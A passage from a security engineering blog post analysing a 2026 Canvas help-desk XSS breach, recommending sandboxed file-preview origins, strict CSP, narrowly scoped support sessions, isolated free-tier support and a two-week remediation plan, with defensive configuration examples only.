The DNS entry resolves to a different server or serverless function whose only job is to serve user-uploaded files. It has no database connection, no API credentials, no session handling. It retrieves files from object storage (S3, GCS, etc.) using pre-authenticated URLs with short TTLs and serves them.

Browser cookies for canvas.instructure.com are not sent to canvas-user-content.com because browsers enforce same-origin cookie scoping. You can’t even set canvas.instructure.com cookies to send to canvas-user-content.com without explicit cross-origin configurations, and you wouldn’t make those configurations.

When the support rep’s browser loads the malicious SVG or HTML file from canvas-user-content.com, any script in that file executes in the origin context of canvas-user-content.com. That origin has no session cookies for Canvas’s application. No API credentials. No localStorage with auth tokens. The script can do whatever it wants on canvas-user-content.com. There’s nothing there to steal.

The file preview iframe implementation looks like this:

<!-- In the help-desk ticket view, served from support.canvas.instructure.com -->
<!-- This is how you load a previewed file SAFELY -->
<iframe
  src="https://canvas-user-content.com/preview/file-id-12345?token=short-lived-presigned-token"
  sandbox="allow-scripts"
  width="800"
  height="600"
  title="Ticket attachment preview"
  referrerpolicy="no-referrer"
></iframe>

Notice sandbox="allow-scripts" without allow-same-origin. This is crucial. The sandbox attribute on an iframe restricts what the loaded content can do. Without allow-same-origin, the iframe’s content is treated as a unique opaque origin even if it’s loaded from canvas-user-content.com. It cannot access parent.document, cannot read the parent’s cookies via document.cookie, cannot make requests that carry the parent’s session. It’s fully isolated.

Even if the malicious SVG loads in this iframe and its JavaScript executes (because we gave it allow-scripts for legitimate rich content), the worst it can do is… display something weird in an iframe. It cannot reach the rep’s session. It cannot call Canvas APIs. The blast radius is bounded to the dimensions of a preview box.

This is exactly how Google Docs handles user-uploaded attachments, how GitHub handles user-uploaded images and SVGs (raw.githubusercontent.com is a separate cookieless domain precisely for this reason), and how modern SaaS products handle file previewing when their security teams have thought it through.

The Free Tier Trust Boundary Failure

Instructure has shut down the Free-for-Teacher program, which I understand but think is somewhat missing the point.

The problem wasn’t that free users existed. Lots of SaaS products have free tiers. The problem was a specific architectural decision: free-tier users’ support tickets were routed through the same support pipeline as paying institutional customers, handled by the same support reps, in the same browser sessions that also handled paying-tier accounts.

The trust boundary between “anyone who signed up with a Gmail address” and “regulated student data at 9,000 accredited institutions” was enforced entirely at the application layer. A single HTML sanitizer miss collapsed that boundary completely.

The correct architecture doesn’t eliminate free tiers. It isolates the support pipelines. Free-tier support is handled in a separate system. Free-tier support reps have sessions that cannot access paying tenant data. Paying-tier support lives on different infrastructure, handled by sessions scoped only to paying accounts, with separate authentication, separate tooling, and separate browser contexts.

If that architecture is in place, the April 22 ticket fires in a free-tier support context. The rep’s session has access to other free-tier accounts and nothing else. ShinyHunters exfiltrates a few hundred free teacher accounts. That’s a bad day. It’s not 8,809 institutions and 275 million students.

The investment required for separate support pipelines is real. It’s duplicated tooling, separate training, operational complexity. But it’s a one-time architectural investment against an ongoing existential risk. The $10 million ransom alone would have paid for a lot of tenant isolation work.

Why SRI Doesn’t Apply Here (And What Does)

Subresource Integrity (SRI) is a browser security feature that lets you specify a cryptographic hash of an external script or stylesheet in your HTML. When the browser fetches that resource, it computes the hash of what it received and compares it to the hash in your HTML. If they don’t match, the browser refuses to execute the resource.

<!-- SRI in action: browser checks that this script's hash matches -->
<script
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous">
</script>

This is useful for one specific threat: a third-party CDN being compromised and serving a modified version of a script you load. If the CDN swaps in a malicious script, the hash won’t match what you specified, and the browser won’t execute it.

The Canvas breach involved none of this. The malicious content was uploaded into Instructure’s own infrastructure and served from Instructure’s own origin. There was no third-party CDN to compromise. The attacker wasn’t modifying an existing script file. They were injecting new script through the application layer. SRI has no mechanism to detect or block that. SRI only validates the integrity of resources fetched from known URLs specified in your HTML. It cannot validate that your application hasn’t been tricked into serving attacker-controlled content as a “legitimate” resource.

The same limitation applies to the newer Integrity-Policy specification, which provides more granular controls over external script loading. Powerful for supply chain attacks on CDN-loaded assets. Irrelevant for first-party XSS.

For first-party XSS, the controls are CSP (blocks execution) and output encoding (prevents injection). Both need to be in place. Neither is a substitute for the other.

Session Architecture: What Least Privilege Looks Like for Support Tooling

The session scope problem deserves more space than it usually gets in incident post-mortems. “Least privilege” is a security principle that everyone nods at and few actually implement in internal tooling.

For a support rep’s session at a multi-tenant SaaS platform, genuine least privilege looks like this:

Default session scope: The rep can see the queue of tickets, read ticket metadata, see which account each ticket belongs to, and view message content that was already included in the ticket submission. No ability to call production APIs on behalf of any tenant. No access to tenant data beyond what’s in the ticket itself.

Tenant-specific elevation: To look at a specific tenant’s Canvas environment, to see their user list, their course catalog, their enrollment data, the rep must take an explicit action. This might be clicking a “View account in admin context” button that requires re-authentication (password + MFA), or clicking a time-limited “Assume support context for account X” that generates a scoped short-lived token with access only to account X for the next 30 minutes.

API tokens, not session cookies: The production API accepts session cookies because the product is built for users whose browsers hold session cookies. But internal support tooling doesn’t have to use that same mechanism. It can use service-specific tokens with narrow scopes:

// Scoped support token format (illustrative)
{
  "token_type": "support_access",
  "account_id": 12345,           // Only this tenant
  "scope": ["users:read", "courses:read"],  // Only these operations
  "issued_at": "2026-04-25T09:00:00Z",
  "expires_at": "2026-04-25T09:30:00Z",  // 30-minute TTL
  "issued_to_rep": "rep-user-id-789",
  "requires_mfa_verification": true,
  "audit_log_id": "audit-entry-456"  // Every action logged
}

An XSS payload running in the rep’s help-desk session can make API calls using whatever credentials the page holds. If the page holds only a narrow-scoped 30-minute token for account 12345, the payload can exfiltrate data from account 12345 for 30 minutes. That is bad, but it is not 8,809 institutions. It’s bounded.

The rep’s re-authentication requirement for cross-tenant access is the key constraint. Even if the attacker’s payload can simulate user actions on the page, it cannot complete an MFA challenge. The TOTP code is in the rep’s head or hardware token, not in any browser-accessible storage.

What a Comprehensive Defense Stack Looks Like

Pulling everything together: here’s what a properly defended architecture for an internal admin/support tool looks like, at each layer.

Network layer: Support tooling is on a separate internal domain, accessible only via VPN or zero-trust network access (ZTNA). Traffic to the support origin goes through a WAF configured to detect common XSS patterns in responses (not just requests). Anomalous API call volume generates alerts.

Application layer: All user-submitted content that gets displayed in the support UI goes through a strict allowlist HTML sanitizer before storage. File attachments are never rendered inline in the help-desk origin. They’re always redirected to the cookieless sandbox origin.

Browser layer: Every response from the support tooling origin includes a strict CSP with nonces, a Reporting-Endpoints header pointing to a monitored reporting service, and HttpOnly; Secure; SameSite=Strict on session cookies.

Session layer: Rep sessions are scoped narrowly. Cross-tenant API access requires step-up authentication with MFA. Sensitive operations (deleting data, applying platform-wide changes, accessing third-party integrations) require re-authentication. Session tokens are short-lived and rotated.

Detection layer: CSP violation reports are consumed by a SIEM or dedicated alerting system. Any script-src violation on the support tooling is a P1 alert. Outbound API calls to non-approved domains from the support origin trigger alerts. API call volume anomalies per rep session trigger review.

Architecture layer: Free-tier and paid-tier support live in entirely separate systems with no shared session infrastructure. User-generated content for paid tier is never handled in the same browser context as free-tier content.

Each of these layers has value independently. Together they create an attack chain that’s hard to complete even for a sophisticated attacker, because breaking through any single layer surfaces alerts that stop the breach rather than just slowing it down.

The Regulatory Aftermath and What It Signals for EdTech

Congress opening an inquiry into the Canvas breach isn’t just political theater. Educational institutions hold FERPA-protected student records. A breach affecting 275 million students across 8,809 institutions is a FERPA enforcement event at a scale that regulators haven’t had to deal with before.

FERPA (the Family Educational Rights and Privacy Act) requires educational institutions and their vendors to protect student educational records. The data confirmed exfiltrated – usernames, email addresses, course names, enrollment information, in-product messages – is educational record data under FERPA. The scope here is every institution that had a Canvas account: universities, school districts, K-12 schools, community colleges.

The Department of Education’s Federal Student Aid security alert on May 12 is the regulatory body saying, in effect, “this reached us and we’re treating it as a systemic issue, not just an Instructure problem.”

The congressional inquiry signal is different. It’s an indication that policymakers are starting to ask whether the current regulatory framework which largely puts the compliance burden on individual institutions rather than SaaS providers is adequate when a single LMS vendor processes records for 275 million students and a single vulnerability in that vendor’s help-desk system compromises all of them.

That’s a structural question that goes beyond what any security team can fix with a CSP header. But it’s coming, and edtech vendors specifically should be paying attention to it.

Practical Implementation: The Two-Week Plan

If you’re a security engineer or architect reading this and trying to turn it into action items for Monday morning, here’s how I’d sequence the work.

Days 1-2: Inventory the risk surface. List every place in your product or internal tooling where user-supplied content is rendered in a browser context that has more privilege than the user who supplied it. Support ticket viewers, moderation queues, admin dashboards showing user-generated content, file preview systems, import/export log viewers, message threads, customer-submitted forms.

For each one, ask: what session context does this run in? What APIs does that session have access to? If an attacker controlled the content being rendered here, what’s the maximum blast radius?

Days 3-4: Deploy report-only CSP everywhere privileged. On every admin-accessible and support-accessible surface, add Content-Security-Policy-Report-Only with a strict policy and a Reporting-Endpoints configuration. You need somewhere to collect reports – a simple endpoint that writes to a database or a logging service is enough to start. You’re not blocking anything yet, just getting visibility.

Days 5-7: Triage legitimate violations. The report-only violations coming in will be mostly from your own legitimate code – inline event handlers, inline scripts from third-party widgets, script tags without nonces. For each one, either add a nonce (for scripts you control) or add the origin to the allowlist (for trusted third-party scripts). Document your decisions. Any violation source you don’t recognize is suspicious.

Day 8: Evaluate file preview architecture. If you render file attachments inline in admin or support tooling, and those attachments load from the same origin as your application, this is your highest-priority architectural item. Prototype what moving file preview to a sandbox origin would look like. Even if you can’t implement it in a week, you should understand the effort.

Days 9-11: Enforce CSP on the highest-priority surfaces. Once your support tooling and admin surfaces have low violation rates in report-only mode, switch them to enforce mode. Keep reporting active. Start alerting on any new violations.

Days 12-14: Session scope audit. Review what your support/admin session tokens can do. Document every API endpoint accessible with a support rep session. Identify which of those are cross-tenant operations. Evaluate whether step-up authentication for cross-tenant access is feasible given your user support workflow.

The whole two-week plan costs almost nothing in infrastructure. CSP is a header. Report-only mode doesn’t break anything. The session scope audit is analysis work. The expensive part is the sandbox origin architecture for file previews, and that’s a project timeline item but it needs to be in the queue.

The Uncomfortable Closing Thought

The Canvas breach cost Instructure approximately $10 million in ransom, congressional scrutiny, a permanent product shutdown (Free-for-Teacher will not come back), reputational damage at a critical competitive moment, and the erosion of institutional trust that takes years to rebuild.

The technical defense is a CSP header, a sandbox origin, and narrower session scoping.

That asymmetry should be disturbing to anyone who builds or secures SaaS products. A security control that costs a sprint of engineering work is sitting between you and a nine-figure business-continuity event. The reason it doesn’t get done isn’t that it’s hard. It’s that it doesn’t feel urgent until it becomes catastrophic.

If you run internal tooling that renders customer-submitted content, you have the same architectural exposure that Canvas had. The question is whether your sanitizer catches everything, whether your document previewer is properly sandboxed, and whether your CSP would block the payload that makes it through anyway. If you’re not sure and most teams aren’t, until they audit, that uncertainty is the risk.

I’d rather you spend two weeks closing these gaps than spend a month explaining to regulators how a support ticket became a master key.

This analysis is based on publicly available information from Instructure’s incident disclosures, their May 2026 customer webinar, independent security reporting, and technical analysis of Canvas’s open-source codebase. Technical mechanisms described for XSS payloads, CSP policies, and API exfiltration patterns are illustrative and educational. Where analysis goes beyond confirmed public disclosure, this post flags it as inference.